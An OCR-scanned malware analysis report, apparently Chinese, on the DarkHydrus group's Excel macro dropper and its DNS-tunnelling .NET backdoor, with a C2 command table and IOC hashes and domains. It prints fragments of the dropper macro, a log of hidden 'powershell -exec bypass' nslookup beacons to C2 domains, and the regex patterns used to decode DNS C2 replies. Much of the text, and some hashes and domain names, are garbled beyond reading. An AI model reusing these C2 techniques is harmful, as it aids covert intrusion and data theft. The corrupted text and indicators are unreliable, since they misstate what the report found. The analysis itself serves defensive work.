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Dropper (Macros)

MD5 5c3f96adeOeab7eef9d25161c64e6f3e
XER o edll xlsm  (indexes. xlsm)
MD5 8dc9f5450402ae799f5f8afd5c0a8352
X1HFH gLy xlsm (viewing. xIsm)

AT OHTIAMDS: 5¢3f96adeOeab7eef9d25161c64e6f3eftFE AN, IBENAYE—Office ExcelXty, &
Hoodlxlsm (38HR.xIsm) ., EA#RVBAR, HSEEITAXMHABELRRE, BEIRITEELEKHE,

%% BRI THEE N B WINDOWSTEMP.ps1#l112-B-366.txt X4 ZEI% TEMP% B &, &Ria{ERregsvr32.exe

1/(/&\1;;.\

[E5112-B-366.txt3 {4 :

t").0penTextFile(ps_file dir, 2,

"+ ps_file_dir

shell command + """,8,tr

eateObjec
Line (sct_fil

final_co
final_command - " /n fu /i
Shell(final_command, vbHide)

"+ sct_file path + "

Open()

New_Macro

PR E12-B-366.1xt2— T HTA (HTMLNFRER) X, aXHB TRt REIPowerShellfl s :
%TEMP%\\ WINDOWSTEMP.ps1

ocal\\Tenp\\WINDOWSTEMP.ps1”,@, true); ]]

WINDOWSTEMP.ps1BIZAARB U T, iZPowerShellfiiZs{EFBase64 M gzipEiB 1R E B A £ content, ARG
BRI %TEMP%\\OfficeUpdateService.exe, &E151T%TEMP%\\OfficeUpdateService.exe:
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-0bj

: :WritenllBytes("

Backdoor (OfficeUpdateService.exe)

MD5 b108412f1cdc0602d82d3e6b318dc634
XHH OfficeUpdateService.exe
, C:\Users\william\Documents\Visual Studio 2015\Projects\DNSProject\DNSProject\obj\Relea
PDBE&1Z .
se\DNSProject.pdb
wIFER Jan 08 14:26:53 2019 Microsoft Visual C# v7.0 / Basic .NET (managed)

BATRE 1EFERCHERES :

File : | |Untitled1 [ o n o]

Entry Point : |gooosDDs = EP Section : % <0l

3 File Offset : |00005FDS FirstBytes : |FF.25.00.20.40 @ Plug

@“- Linker Info : |:| SubSystem : | \wWindows GLUI PE ot

File Size : 00007AQ0H = M Overlay: MO 00000000 O g\l

S -

Image is executable RES/OVL:5 [ 0 % 2019 =

| Linker 48] - Microsoft Visual C# /Basic.NET ] - EP Token : 06000001|  gean /t Rip
Lamer Info - Help Hint - Unpack info -

|- Explore and analyze .NET assemblies with .NET Reflector v&.0 - ww| 9 = ==

HAPDBIZE SN EEMIRERABRENREAE, FBHREEMTDNSHERXARA:

C:\Users\william\Documents\Visual Studio
2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb

BIEFEITREANESHESE S “stoff" M pd:off”, MREE “stoff WATERFNI,

MRE

& “pd:of " MAZREMPOFX . MEIENESETEREMI. WP, REZSHFLE, BIXERNEEREHR

TEERE:
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[1 args)

R ISIEPDF 3 A4

AT . IDFEADN AR S IR F R 1 -
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Jnum

ZERERMENEE:

nfdk)

ipaddr
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result =

result;

AEREDNSEIE R FHEERENENER, HERDNSEEBERD 3 queryTypesTest R H

REHANSDLSDRER, LB R REEAAIMEDTEXx_modeER, MRERZE, MBEIDNSEERRARSC2#@E
RENBEENITHES, SNEIHTTPEREIE:

5C2@IDNSRIERIEE, ARITROAEE, AERINIES, RERItaskHandlerlRH D &KIELR:
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command =
(command. £

command = command.Tri

command ) . (command ) ;
command 1. (command} ;

{command

(lcommanfd, : ,__localsl.jobID);

,_localsl. jobID;

hread);

EFERIE, "\\$x_modeff L FHIREX M LA THRIARSEE, RSFMHUIETDNSERIEIRER:
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(command, "

command = command.Trim{};

[] array = command.5pli

el

Hrh—MEAIEE T RS589 Google DrivefR%53:

https://www.googleapis.com/upload/drive/v3/files/" + file_id + "?
supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents

FTBMmLFIRIMT:
B ThaE
Akill GEREEFE? WiE
"\$fileDownload XHTH
M\ $importModule SREHTEARIR
M$x_mode RAx_modetEz, LRFIRERATIRSS 2R, AERBHTTPRIERATEUE
"\$ClearModules ENEARIR
M\ $fileUpload X1 E#
‘testmode ML RIR
rshowconfig REEEER
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“changeConfig BT
"slp REEAR — ER A (8]
Aexit R #HTE
DNSEEBE 5
DNSREBEX AR EIEEIDNSEGEEREIEERE. ZBEANBMENEKE, SZFESITREMNX
AR,

SSUIDNSRREBERARETERT MM IA:
1. EEDNSHRSS 23X MDNSHEER(E

2.  BUEBRUERHIZOEBENSICR, BEITEHRNDNSIRSHFEE N KL ERIDNSRS S, KEHR
AIDNSHRHTIF K

A R85 132 OfficeUpdateService.exefEFHINIE 5 —f A X LHIDNSEEEE, HEFERENEHR
DREFFEMITIERMINSICE, HTDONSETEESEAEIXENSIERIEENIDNSIRS 2215 KBTI, FRANS

ICRIBERIDNSRSS 23 REN ZIDNSEI B KA R MY RO R, 20 R B I AINSICR PAIDNSHRSS 28 2 A& =
HEY, BABEE A LAET 1ZDNSARSS 23 5 K B2 5 BII DNSE IS HRIBERE.

REREFIBEKFERIIRULT:

IRENSICR
NS (Name Server) 1ICREERRSFICE, FRIEE IR AW T DNSHRSS 23 A TRET

WEEEISEREBAINSIERER R TREEITHIAIDNSIRS 3R, W& IEEATRITEXTERHUNSIRS S

#: tvsltrafficmanager.live , tvs2.trafficmanager.live, FAfT@iInslookup®] LAEI8)1EE!:

ers“Administratornslookup —g=NS akdns.live

nameserver = tus2.tprafficmanager.live
nameserver = tvsl.trafficmanager.live

tvs2 . tprafficmanager.live

internet address = 198.23.148.77

HAFBE A AInslookupfE FAIEXRIFGZIRRIER, MHTXEFGZHINSICRFZIEER T REHERDNSHRS 2R
(tvsl.trafficmanager.live) , #nslookupiERMEREE S AIXAERHERIDNSIRSSE, AFIEEIDNSARS 25K
EIREBHITEIER B, FMMEAETERENREEEHIFIDNSIRS 2 HITRENEE.

A ERnslookupfBATIE B HMH U TSE: timeout (IEREBAIESE]) . g (DNSIEKZEER) :
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= ipconfig.exe (3836) "C: \Vindows\svsten3Z\ipconfig. exe” /flushdns
o powershell.exe (3868) “powershell. exe” -WindowStyle Hidden -exec
= nslookup.exe (2852)[C:\Windevs\system32inslockup. exe” —tineout=10 —g=TXT ajomjc.akamaiedze. live
o powershell.exe (3900) “powershell. exe” —WindowStyle Hidden —exec bypass —command ipcordfig /Ilushdns
= ipconfig.exe (3952) “C:\Vinders\systen32hipconfie. exe” /flushdns
o powershell.exe (1364) “powershell. exe” -WindewStyle Hidden —exec bypass —command nslockup. exe —timeout=10 —g=804 bipe. edgekey. live
I"C:\Windewsh sve ten32ns lockup. exe” —timesut=10 —g=504 bjpc. edgekey. live ‘
o powershell.exe (3976) “powershell. exe” —WindowStyle Hidden —exec bypass —command ipconfig /flushdns
= ipconfig.exe (2836) “C:'\Windows\systen32\ipconfig. exa” /flushdns
o powershell.exe (3104) “powershell. exe” —WindowStyle Hidden —exec bypass —command nslockup. exe —timeout=10 —g=MI bjpc. akanaized live

ase —command nsloockup. exe —tinecut=10 —g=TLT ajmmjc. akamaiedge. live

“CWindows\sys ten32\nsl ookup, exe” —timeout=10 —EME bjpc. akamaized. live |
o powershell.exe (1192) “povershell. exe” —WindewStvle Hidden —exec bypass —command ipcenfiz /flushdns
= ipconfig.exe (1684) “C: \Vindows\svsten32\ipconfig. exe” /flushdns
o powershell.exe (3196) “powershell. exe” —WindowStyle Hidden —exec bypass —command nslockup. exe —timeout=10 —g=CNANE hipc. akdns.live
= nslookup.exe (35431 “CoWindewsisystem32inslockup. exe” —timesut=10 —=CHAME hipe. akdns. live |
o powershell.exe (3460) “powershell. exe” —¥indowStyle Hidden —exec bypass —command ipconfiz /flushdns
= ipconfig.exe (3536) “C:\Vindows\systen32\ipconfig. exe” /flushdns
o powershell.exe (3596) “powershell. exe” -WindowStyle Hidden —exec bvpass —command nslookup. exe —timeout=10 —g=SR¥ bjpc. akanaledze.live
“C\Windewshsve ten32vnslockup. exe” —timesut=10 —g=5R¥ bjpc. akanziedge. live |
o powershell.exe (2860) “powershell. exe” ~WindewStyle Hidden —exec bypass —command ipcenfiz /flushdns
= ipconfig.exe (3784) “C:\¥indows\systen32\ipeonfig. exe” /flushdns
o powershell.exe (3932) “powershell. exe” ~¥indovStyle Hidden —exec bypass —command nslookun. exe —timeout=10 —g=4 bipc. edgekey. live

K% EEERARENITIES
AERREABNEWERE, ERFENENRANELCEDNSIRSS 23R ORI REWE:

EEalHATnslookupFERE MR B NARITEW, KEZEMANUTENRANCEIRENEIESR:

MEAEfAREE I EE R H DNSIR S 23 & IXDNSEIIE KKK IF LA RS ELIDARTE: BESIREY
HIRUHFZEID, HSIEKREWMANERAM—T iR, WKIR{EANslookuptEEDNSHEIWRE L IADNSEIER:

82 10.953419 172.16.1.113 172.16.1.1 DNS 82 standard query TXT ajpinc.akamaiedge. live
83 11.327098 172.16.1.1 172.16.1.113 DNS 114 standard query response TXT

1

fe ff ff ff ff ff 00 16 3e eb ca 71 08 00 45 00
00 44 28 b6 00 00 80 11 b7 60 ac 10 01 71 ac 10
01 01 fb 27 00 35 00 30 5a d4 00 05 01 00 00 01
00 00 00 00 00 00 NG EWIIENENENTNE:
61 6d 61 69 63 64 67 65 04 6c 69 76 65 OONGLISEY
00 01

ERERESAIDNSIERIEE S R AARMNEN KA CREERLBNESIESR, HEEEPNEHE:
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a, patterns);

mber{matchCollection2[1].

BANFNRERTXTEIERH LEARSIDAIIEA T

BRBMNWE—ZRIFHE ajpinc.akamaiedge.live, ZZRiFFajpinci¥aftRE—IRIEK, REMCHRSLES

B, aMlczZBRHmBEERIZHRIATREID, AEHANEMslookupRIZIZIER, HATRIRRIT:

C:“lszers~admin>ipconfig ~flushdns

Uanuun

sz 192.168.229.2

.akamaiedge.live text =

“"IHN.AKAMAIEDGE.LIVE. "

MASEFFERUTENRARLCERENERESER: (\w+).

(akdns.livelakamaiedge.liveledgekey.livelakamaized.live)

ZIENFRAN S EAERFRVajpincHlihn=FfF &, AEFihnET i ERNRIDE ERIESE“1077,

o
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RERBHBINEERES, HRIDNSIMUEHMAKEEEHIIDNSIRS 2, HIFERIADNSIER, REDHE
RAAERENRANKLERENESR, KT —TRERITIIER.

IR ICEC R
HATE(FEANIDNSE RN T:

A

AAAA
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AC

CNAME
TXT
SRV
SOA

MX

ABERFEABNEWRE, ERARNENRENELERGEERIDNSIRSS 2R EIRISREE:

EEanATnslookupFHERE MR BIACITRIR ERVEE, FERMNTEMNRANLER EREELS

(data, pattern, Re

EAEWERENAAARRIREREER N T ENRAX CERENEESR
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EAEMDNSE WL RSN EURER AT ENRIAN LEREIRVEHELE R -
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HEZS A {E A RIDNS E 182 B ROR BIEE RS R L EC R IE R IA TV AN T -

DNSZEifZH! PLEC RAVIEMIRIAT

A Address:\\s+(\\d+.\\d+.\\d+.\\d+)

AC ([*r=vA\\sl+) [r=v] ([\\w\\d+\\/=1+) -\\w+. (<C2DOMIAN>)

AAAA Address:\\s+(([a-fA-F0-91{0,4}:{1,4} [\\w]|:]1+){1,8})
CNAME. TXT. SRV. SO ([~r=v\\sl+) [r=v] ( [\\WA\d+\\/=]+) -\\w+. (<C2DOMIAN>) F1(\\w
A, MX +) . (<C2DOMIAN>)

R HIREIAIDNSIER LR A+
#5"216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|wind
owsupdate.microsoft.com|update.microsoft.com"IEMFIAR aH, MARIEREFEECE, WASHITELENRE:
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T,
HA{EFADNSHE#1TEE
5 ZHiPalo AltotRZE[2]JAIARSEMAY, #EMR THEREIDNSEEESHA:

DarkHydrus

BE—HRL AN IR
NFZE—HEBA. DFEENEE:

TEREENUERS, KIIELSERMN:
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Com
mand

Description

£fil
elow

nloa

Uploads the contents of a specified file to C2

§imp
ortM
cdul

Adds a specified PowerShell module to the current script

&3cr
BENS

hot

Executes the contents of the command. which should be the string ‘$screenshot’. We are not sure if
this works, but the command name would suggest it is meant to take a screenshot

fcam

mand

Runs a PowerShell command and sends the output to the C2

alp:
wd+

Sets the sleep interval between C2 beacons

ftes

tmod

Issues DMS queries of A, AAAL, AC, CNAME, MX, TXT. SRV and SOA types to the C2 servers
attempting to determine which DNS guery types were successful. This command will automatically
set the DMNS type to use for actual C2

&sho
WCOTL
fig

Uploads the current configuration of the payload to the C2

Sets the sleep interval between outbound DMS requests

£fil
elpl
cad

Downloads contents from the C2 server and writes them to a specified file

R

BBNE, WAIXEREIENTwitter A~ @darkhydrus2f9ieFR0Steve Williams, 1ZFF &5 DarkHydrus &,
BiEfRwilliams5 LR C#4R B IR BFEFHIPDBES 12 X B LXK EX:
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Stevel Williams

@darkhydrus2

AT 2016468
«EEe»

MEERNSRREE MR UEL, BHFFIHAOfMce OdayFREHITRENMARS, ZHREEEER
THIMOffice VBAZATERNES, BAAFNRAREIVITFRERRNXE, NBEREAEIITFOfMceXt4H
B XHE-RD-EEFRO-EEFORE-RIRE, RKERA-REBHRIT:

=2 ==
e EEENERE e
&g BEETE
e [E— | © ZEFEE, #EREAL
== - © ZEFEE , FRNEAD)
s T O BREESEBRFEEG
O EEFEEGES ; TESETEEEERRE D
SR umEE =aE
tEsATAE ERPHIE ARG
EEm s 5 VBA TENSEEASEY
TeHE IR
AAESER

BAl, ET360EMBERFONEMBRAENELTm, BESC0RMIBRTE (TIP) | RERSREAMLINZR
4i. 360 NGSOCF, #BEZSIFFULEREAISHRILN,

10C

MD5
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5c3f96adeOeab7eef9d25161c64e6f3e

8dc9f5450402ae799f5f8afd5c0a8352
b108412f1cdc0602d82d3e6b318dc634
039bd47f0fdb6bb7d68a2428c71f317d
PDBE&12
C:\Users\william\Documents\Visual Studio 2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb
CCithilk

Office365.life

Office365.services

Onedrive.agency

akamai.agency

akamaiedge.live

akamaiedge.services

akamaized.live

akdns.live

azureedge.today

cloudfronts.services
corewindows.agency

edgekey.live

microsoftonline.agency

nsatc.agency

onedrive.agency

phicdn.world

sharepoint.agency

skydrive.agency

skydrive.services

t-msedge.world

trafficmanager.live
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east—government/
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